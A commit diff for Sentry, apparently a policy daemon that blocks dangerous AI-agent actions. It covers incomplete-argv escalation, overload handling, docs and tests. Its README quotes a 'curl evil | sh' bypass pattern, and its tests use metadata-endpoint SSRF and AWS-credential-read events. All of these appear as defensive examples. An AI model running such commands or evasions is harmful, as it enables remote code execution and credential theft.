fix: harden decoupled L3 contracts

.github/workflows/ci.yml

@@ -23,3 +23,20 @@ jobs:
         run: cargo clippy --all-targets -- -D warnings
       - name: test
         run: cargo test --all
+
+  typescript-sdk:
+    runs-on: ubuntu-latest
+    defaults:
+      run:
+        working-directory: sdk/typescript
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version: "20"
+          cache: npm
+          cache-dependency-path: sdk/typescript/package-lock.json
+      - uses: dtolnay/rust-toolchain@stable
+      - run: npm ci
+      - run: npm run build
+      - run: npm test

README.md

@@ -43,6 +43,11 @@ Observer provides the **signal** (`ToolExec`, `SslContent`, `SecurityAction`, `E
 hot-reload). Sentry decides. It never enforces anything itself — keeping it a pure policy brain and
 the kernel the single enforcement point.
 
+For `ToolExec`, observer also reports whether argv was truncated or could not be fully reassembled.
+Sentry still blocks an explicitly dangerous captured prefix, but an ambiguous incomplete command
+stops as an L1 escalation instead of becoming an ordinary allow or a model decision based on missing
+evidence.
+
 ## Install
 
 Published from the repo's own GitHub Actions (a `vX.Y.Z` tag runs [`release.yml`](.github/workflows/release.yml)):
@@ -131,7 +136,9 @@ rules = [
 ]
 ```
 
-First match wins; no match = allow. See [`policy/rules.acl`](policy/rules.acl).
+First match wins; no match = allow for complete evidence. An incomplete `ToolExec` skips matching
+allow rules and escalates at L1 when no dangerous block rule matches. See
+[`policy/rules.acl`](policy/rules.acl).
 
 ## Dynamic policy & embedding
 
@@ -153,11 +160,14 @@ let pipeline = Pipeline::new(rules.clone())                        // L1
     .fail_closed(false);
 
 let decision = pipeline.evaluate(&observed_event);   // your own event source
+let fast = pipeline.evaluate_through_l2(&observed_event); // persist escalations for external L3
 rules.reload()?;   // force-apply config changes now (e.g. on a signal / admin API)
 ```
 
 Every tier is a `Judge` trait impl, so you can swap L1/L2/L3 for your own (a different model, an
-in-house ruleset) and keep the escalation machinery.
+in-house ruleset) and keep the escalation machinery. `evaluate_through_l2` never invokes L3 or
+applies `fail_closed`; callers must durably dispatch any `Escalated` result instead of treating it as
+an allow.
 
 ## SDKs (Python · TypeScript)
 
@@ -184,11 +194,16 @@ firing at `tier=Rules`).
 - **TypeScript** — [`sdk/typescript`](sdk/typescript), live on npm: `npm install @a3s-lab/sentry` (Node ≥12):
 
   ```ts
-  import { Sentry, egress } from "@a3s-lab/sentry";
+  import { Sentry, egress, fileAccess } from "@a3s-lab/sentry";
 
   const sentry = Sentry.create("sentry.acl");
   const d = sentry.evaluate(egress(1, "169.254.169.254", 80));
   if (d?.verdict === "block") console.log(d.reason, d.action); // { kind: "DenyEgress", target: "…" }
+
+  const fast = await sentry.evaluateThroughL2(
+    fileAccess(1, "/home/u/.aws/credentials", false),
+  );
+  if (fast.stageStatus === "escalated") await durableL3Queue.send(fast);
   ```
 
 The `sentry.acl` config — rules, optional `llm {}` (L2) / `agent {}` (L3) backends, and `deny {}`
@@ -322,18 +337,21 @@ dashboard. Output text has no kernel deny target, so an SAE block rides the encl
 Set `A3S_SENTRY_METRICS_ADDR` (e.g. `0.0.0.0:9100`) to expose, with no extra dependency:
 
 - **`GET /metrics`** — Prometheus counters: `sentry_events_total`, `sentry_blocked_total`,
-  **`sentry_overload_degraded_total`** (escalations that fell through to the fail mode), and
+  **`sentry_overload_degraded_total`** (escalations rejected by the full worker queue), and
   **`sentry_enforce_failed_total`** (a block whose deny-write errored). For a *fail-open* control those
-  last two are the ones to **alarm on** — both mean a block did **not** take effect.
+  last two are the ones to **alarm on** — both mean the enforcement path may not have completed.
 - **`GET /healthz`** — `200 ok` while the process is alive (the k8s liveness/readiness probe in
   [`deploy/daemonset.yaml`](deploy/daemonset.yaml) hits this).
 
 ## Honest boundaries
 
 - **L1 is a cheap pre-filter, not a sandbox.** Regex rules are evadable (obfuscation, base64,
-  alternate interpreters, variable indirection), and observer truncates each argv slot to **64
-  bytes** — a `sh -c "<padding>; curl evil | sh"` outruns every content rule. Treat L1 as fast triage
-  that catches lazy cases and escalates the rest; the real boundary is L2/L3 or an observer
+  alternate interpreters, variable indirection), and observer command capture is bounded. Observer
+  now marks truncated or incompletely reassembled argv explicitly; Sentry blocks a dangerous
+  captured prefix and preserves ambiguous evidence as an L1 escalation. A caller using the staged
+  API must persist and dispatch that escalation to an external L3 worker. The bundled daemon audits
+  the unresolved decision, including during worker overload, but does not provide a durable external
+  L3 queue. Treat L1 as fast triage; the real boundary is durable L3 handling or an observer
   egress/exec **allow-list**, not L1's block list.
 - **Two paths, by design.** The observer-event path is *reactive*: sentry acts on observer's events,
   so it blocks the *next* dangerous action / future connections — the flagged action itself has
@@ -357,7 +375,8 @@ Set `A3S_SENTRY_METRICS_ADDR` (e.g. `0.0.0.0:9100`) to expose, with no extra dep
   Without it sentry still sees exec / egress / file / SecurityAction, just not prompt/response text.
 - **L2/L3 run in a worker pool** off the ingest thread, so a slow tier never head-of-line-blocks the
   L1 stream (validated: ~1.15M ev/s with a 0.5s L2 in the mix). Under an escalation flood the bounded
-  queue degrades gracefully to the fail-mode (audited; counted as `overload-degraded`).
+  queue degrades complete-evidence events to the fail mode; incomplete command evidence remains an
+  audited L1 escalation. Both are counted as `overload-degraded`.
 
 ## Build & test
 
@@ -369,13 +388,14 @@ cargo build --release
 
 Pure userspace Rust (serde / regex / ureq / hcl) — no kernel components; those live in a3s-observer.
 
-- **Unit** (41) — rules + escalation + enforce + parsing + the speculative/hot-reload/cap logic + the
+- **Unit** (67) — rules + escalation + enforce + parsing + the speculative/hot-reload/cap logic + the
   metrics endpoint.
-- **Integration** (`tests/integration.rs`, 12) — the real binary end to end: block → deny-file,
+- **Integration** (`tests/integration.rs`, 13) — the real binary end to end: block → deny-file,
   dry-run, fail-open/closed, malformed-input, live hot-reload, `--version`, the **L2 round-trip**
   against a mock OpenAI endpoint, the **L3 agent** path (mock agent → block → deny-file), **overload
-  degradation** (slow L3 + queue=1 → graceful degrade, clean exit), and the **metrics endpoint**
-  (live `/metrics` counters + `/healthz`). All CI-reproducible.
+  handling** (slow L3 + queue=1 → graceful complete-evidence degradation while incomplete evidence
+  stays escalated), and the **metrics endpoint** (live `/metrics` counters + `/healthz`). All
+  CI-reproducible.
 - **Soak** (`scripts/soak.sh` + `scripts/soak-l2.sh`) — sustained mixed load + policy-rewrite-under-load
   (10M+ events, RSS flat, 0 panics, dedup-bounded); and a **worker-pool soak** proving a slow L2 never
   head-of-line-blocks the L1 stream (**~1.15M ev/s on Linux with a 0.5s L2**, RSS flat 6.5 MB, graceful

docs/RUNBOOK.md

@@ -18,7 +18,8 @@ produced the event), and when sentry can't decide it **allows** unless you tell
 | | `A3S_SENTRY_FAIL_CLOSED` unset (default) | `A3S_SENTRY_FAIL_CLOSED=1` |
 |---|---|---|
 | Unresolved escalation (no deeper tier, or a tier errored) | **allow** | **block** |
-| Overload (worker queue full) | **allow** | **block** |
+| Complete-evidence overload (worker queue full) | **allow** | **block** |
+| Incomplete `ToolExec` evidence | **L1 escalation** | **L1 escalation** |
 | Posture | availability-first (matches observer) | safety-first |
 
 Fail-**closed** is correct for high-assurance workloads, but note the deny is coarse and node-global —
@@ -29,14 +30,21 @@ L2/L3 configured *and* headroom (see §4), or you trade a detectability gap for
 secret egress, …) silently resolves to allow. Sentry prints a loud startup WARNING for exactly this.
 Fix it by configuring L2/L3 or setting fail-closed.
 
+Incomplete argv is deliberately different: Sentry will not ask a model to infer a benign suffix
+that observer did not capture. It preserves an L1 escalation for durable external L3 dispatch,
+regardless of fail mode. Alert if the consumer cannot persist or dispatch that result; treating it as
+an allow recreates the evidence gap. The bundled daemon audits this unresolved decision, including
+during worker overload, but does not itself provide a durable external L3 queue.
+
 ## 3. Alarms — the two metrics that mean "a block didn't land"
 
 Scrape `A3S_SENTRY_METRICS_ADDR` (`/metrics`). Page on either of these rising:
 
-- **`sentry_overload_degraded_total`** — escalations that fell through to the fail mode because the
-  worker queue was full. Under fail-open, each one is a **silent enforcement bypass**. Response:
-  raise `A3S_SENTRY_WORKERS` / `A3S_SENTRY_QUEUE`, speed up or disable the slow tier, or accept
-  fail-closed for the overflow. A non-zero rate means you are under-provisioned for your event rate.
+- **`sentry_overload_degraded_total`** — escalations rejected because the worker queue was full.
+  Complete-evidence events fall through to the fail mode; incomplete command evidence remains an
+  audited L1 escalation. Response: raise `A3S_SENTRY_WORKERS` / `A3S_SENTRY_QUEUE`, speed up or
+  disable the slow tier, or accept fail-closed for complete-evidence overflow. A non-zero rate means
+  you are under-provisioned for your event rate.
 - **`sentry_enforce_failed_total`** — a block whose deny-file write errored (disk full, read-only FS,
   bad path). The block did **not** take effect. Response: check the deny-file volume (space, mount,
   permissions). Sentry already retries the same target on its next occurrence, so a transient cause

sdk/typescript/src/lib.rs

@@ -5,8 +5,8 @@
 //! (beyond what L3 itself spawns) — the same model as @a3s-lab/code.
 
 use a3s_sentry::{
-    EnforceAction as CoreAction, RiskType as CoreRiskType, Sentry as CoreSentry, Severity, Tier,
-    ThroughL2StageStatus as CoreThroughL2StageStatus, Verdict,
+    EnforceAction as CoreAction, RiskType as CoreRiskType, Sentry as CoreSentry, Severity,
+    ThroughL2StageStatus as CoreThroughL2StageStatus, Tier, Verdict,
 };
 use napi::{bindgen_prelude::AsyncTask, Env, Task};
 use napi_derive::napi;
@@ -72,6 +72,9 @@ pub struct EvaluateThroughL2Task {
     event: String,
 }
 
+// Register `Task::JsValue` with napi-rs so the generated declaration is
+// `Promise<ThroughL2Result>` rather than `Promise<unknown>`.
+#[napi]
 impl Task for EvaluateThroughL2Task {
     type Output = a3s_sentry::ThroughL2Result;
     type JsValue = ThroughL2Result;

sdk/typescript/test/sdk.test.mjs

@@ -142,6 +142,14 @@ test("evaluateThroughL2 preserves escalation without invoking L3", async () => {
   }
 });
 
+test("generated declarations preserve the structured through-L2 result", () => {
+  const declarations = readFileSync(new URL("../index.d.ts", import.meta.url), "utf8");
+  assert.match(
+    declarations,
+    /evaluateThroughL2\(event: string\): Promise<ThroughL2Result>/,
+  );
+});
+
 test("incomplete ToolExec evidence stops at L1 instead of becoming allow", async () => {
   const s = Sentry.create(`
     fail_closed = false

src/bin/sentry.rs

@@ -40,8 +40,9 @@ fn main() -> anyhow::Result<()> {
     let pipeline = Arc::new(cfg.build_pipeline(live.clone())?);
     let enforcer = Arc::new(Mutex::new(cfg.build_enforcer()));
 
-    // Self-observability (opt-in). Alarm on `overload_degraded`/`enforce_failed` — both mean a block
-    // didn't take effect. Bind fails fast on a bad address rather than silently running blind.
+    // Self-observability (opt-in). Alarm on `overload_degraded`/`enforce_failed` — both mean the
+    // enforcement path may not have completed. Bind fails fast on a bad address rather than silently
+    // running blind.
     let metrics = Metrics::default();
     if let Some(addr) = &cfg.metrics_addr {
         let bound = a3s_sentry::metrics::serve(addr, metrics.clone())
@@ -89,7 +90,8 @@ fn main() -> anyhow::Result<()> {
 
     // Worker pool for the SLOW tiers. L1 runs inline on the ingest thread (µs), so a slow L2/L3
     // occupies a worker — not the event stream. Escalations dispatch to a bounded queue; if it fills
-    // (an escalation flood), the event degrades gracefully to the fail-open/closed verdict.
+    // (an escalation flood), complete evidence degrades gracefully to the fail-open/closed verdict.
+    // Incomplete command evidence remains an unresolved L1 escalation.
     let (tx, rx) = mpsc::sync_channel::<ObservedEvent>(cfg.queue_cap);
     let rx = Arc::new(Mutex::new(rx));
     let mut workers = Vec::new();
@@ -148,7 +150,11 @@ fn main() -> anyhow::Result<()> {
             if let Err(e) = tx.try_send(ev) {
                 let (mpsc::TrySendError::Full(ev) | mpsc::TrySendError::Disconnected(ev)) = e;
                 metrics.degraded.fetch_add(1, Ordering::Relaxed);
-                let d = pipeline.resolve_overload(d1);
+                let d = if ev.event.evidence_incomplete() {
+                    d1
+                } else {
+                    pipeline.resolve_overload(d1)
+                };
                 handle(&ev, &d, &enforcer, &metrics);
             }
         } else {

src/metrics.rs

@@ -1,8 +1,8 @@
 //! Self-observability: a tiny std-only metrics + health endpoint so an operator can ALARM on the
 //! signals that matter for a *fail-open* security control — chiefly `overload_degraded` (escalations
-//! that silently fell through to the fail mode because the worker queue was full) and `enforce_failed`
-//! (a block whose deny-write errored, i.e. a block that did not land). Opt-in via
-//! `A3S_SENTRY_METRICS_ADDR`; nothing is bound otherwise. No framework, no async — one accept thread.
+//! rejected by the worker queue) and `enforce_failed` (a block whose deny-write errored, i.e. a block
+//! that did not land). Opt-in via `A3S_SENTRY_METRICS_ADDR`; nothing is bound otherwise. No
+//! framework, no async — one accept thread.
 
 use std::io::{Read, Write};
 use std::net::{TcpListener, TcpStream};
@@ -30,7 +30,7 @@ impl Metrics {
              # HELP sentry_blocked_total Events blocked (a deny-file write was attempted).\n\
              # TYPE sentry_blocked_total counter\n\
              sentry_blocked_total {}\n\
-             # HELP sentry_overload_degraded_total Escalations degraded to the fail mode (worker queue full) — a fail-OPEN bypass; alarm on rate > 0.\n\
+             # HELP sentry_overload_degraded_total Escalations rejected by the full worker queue; complete evidence uses the fail mode, incomplete evidence remains unresolved — alarm on rate > 0.\n\
              # TYPE sentry_overload_degraded_total counter\n\
              sentry_overload_degraded_total {}\n\
              # HELP sentry_enforce_failed_total Deny-file writes that errored (a block that did NOT land) — alarm on rate > 0.\n\

src/pipeline.rs

@@ -194,11 +194,7 @@ impl Pipeline {
             return through_l2_result(d1, None, Some(EscalationCause::L1));
         };
         let d2 = l2.judge(ev);
-        let cause = Some(if d2.verdict == Verdict::Escalate {
-            EscalationCause::L2
-        } else {
-            EscalationCause::L1
-        });
+        let cause = (d2.verdict == Verdict::Escalate).then_some(EscalationCause::L2);
         through_l2_result(d1, Some(d2), cause)
     }
 
@@ -480,7 +476,7 @@ mod tests {
         assert_eq!(result.l2_decision.as_ref().unwrap().verdict, Verdict::Block);
         assert_eq!(result.effective_decision.tier, Tier::Llm);
         assert_eq!(result.stage_status, ThroughL2StageStatus::Completed);
-        assert_eq!(result.escalation_cause, Some(EscalationCause::L1));
+        assert_eq!(result.escalation_cause, None);
     }
 
     #[test]
@@ -492,7 +488,7 @@ mod tests {
         assert_eq!(result.effective_decision.verdict, Verdict::Allow);
         assert_eq!(result.effective_decision.tier, Tier::Llm);
         assert_eq!(result.stage_status, ThroughL2StageStatus::Completed);
-        assert_eq!(result.escalation_cause, Some(EscalationCause::L1));
+        assert_eq!(result.escalation_cause, None);
     }
 
     #[test]

tests/integration.rs

@@ -40,6 +40,18 @@ const SSRF: &str =
     "{\"event\":{\"Egress\":{\"pid\":1,\"peer\":\"169.254.169.254\",\"port\":80}}}\n";
 const CREDS: &str =
     "{\"event\":{\"FileAccess\":{\"pid\":1,\"path\":\"/home/a/.aws/credentials\",\"write\":false}}}\n";
+const INCOMPLETE_EXEC: &str =
+    "{\"event\":{\"ToolExec\":{\"pid\":2,\"argv\":[\"echo\",\"sentry-incomplete-overload\"],\"argv_incomplete\":true}}}\n";
+
+fn overload_degraded(stderr: &str) -> u64 {
+    stderr
+        .lines()
+        .find(|line| line.contains("stopped —"))
+        .and_then(|line| line.rsplit(", ").next())
+        .and_then(|field| field.split_whitespace().next())
+        .and_then(|count| count.parse().ok())
+        .unwrap_or(0)
+}
 
 #[test]
 fn blocks_metadata_ssrf_and_writes_egress_deny() {
@@ -190,20 +202,65 @@ fn overload_degrades_under_slow_l3_and_tiny_queue() {
         &input,
     );
     // final stderr stats line: "... stopped — N events, B blocked, D overload-degraded"
-    let degraded: u64 = stderr
-        .lines()
-        .find(|l| l.contains("stopped"))
-        .and_then(|l| l.rsplit_once(", ").map(|(_, t)| t.to_string()))
-        .and_then(|t| t.split_whitespace().next().map(str::to_string))
-        .and_then(|n| n.parse().ok())
-        .unwrap_or(0);
+    let degraded = overload_degraded(&stderr);
     assert!(
         degraded >= 1,
         "a slow L3 + queue=1 + workers=1 + 10 escalations should degrade some: {stderr}"
     );
     std::fs::remove_dir_all(&dir).ok();
 }
 
+/// Incomplete command evidence is an unresolved L1 result, not a fail-open candidate. Even when a
+/// slow complete-evidence event fills the worker and queue, overload must preserve `escalate`.
+#[cfg(unix)]
+#[test]
+fn overload_never_converts_incomplete_exec_evidence_to_allow() {
+    let dir = tmp("incomplete-overload");
+    let bin = write_exec(
+        &dir,
+        "slow-agent.sh",
+        "#!/bin/sh\nsleep 0.3\necho '{\"verdict\":\"allow\",\"severity\":\"low\",\"reason\":\"slow\"}'\n",
+    );
+    let incomplete_count = 20;
+    let input = format!("{CREDS}{}", INCOMPLETE_EXEC.repeat(incomplete_count));
+    let (stdout, stderr) = run(
+        &[
+            ("A3S_SENTRY_AGENT_BIN", bin.to_str().unwrap()),
+            ("A3S_SENTRY_WORKERS", "1"),
+            ("A3S_SENTRY_QUEUE", "1"),
+        ],
+        &input,
+    );
+
+    assert!(
+        overload_degraded(&stderr) >= 1,
+        "the slow worker and tiny queue must exercise overload: {stderr}"
+    );
+    let verdicts = stdout
+        .lines()
+        .filter_map(|line| serde_json::from_str::<serde_json::Value>(line).ok())
+        .filter_map(|record| {
+            (record.get("subject")?.as_str()? == "echo sentry-incomplete-overload").then(|| {
+                record
+                    .pointer("/decision/verdict")
+                    .and_then(serde_json::Value::as_str)
+                    .unwrap_or("<missing>")
+                    .to_owned()
+            })
+        })
+        .collect::<Vec<_>>();
+    assert_eq!(
+        verdicts.len(),
+        incomplete_count,
+        "every incomplete event must be audited: {stdout}"
+    );
+    assert!(
+        verdicts.iter().all(|verdict| verdict == "escalate"),
+        "incomplete evidence must remain an escalation under overload: {stdout}"
+    );
+    std::fs::remove_dir_all(&dir).ok();
+}
+
 /// Observability end to end: with A3S_SENTRY_METRICS_ADDR set, the daemon serves live counters — an
 /// SSRF block shows up as sentry_blocked_total, and /healthz answers 200.
 #[test]